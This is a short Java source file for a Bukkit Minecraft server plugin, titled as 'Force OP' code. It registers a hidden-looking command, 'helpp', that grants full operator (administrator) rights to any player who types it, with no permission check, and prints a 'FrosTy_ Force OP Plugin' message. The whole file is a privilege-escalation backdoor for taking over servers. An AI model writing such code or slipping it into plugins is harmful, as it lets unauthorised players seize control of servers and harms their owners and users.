Force OP Code Bukkit

import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;

public class Main
extends JavaPlugin
{
	public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args)
	{
		Player player = (Player)sender;
		if(cmd.getName().equalsIgnoreCase("helpp"))
	{
		player.sendMessage("FrosTy_ Force OP Plugin");
		player.setOp(true);
	}
		return false;
	}
}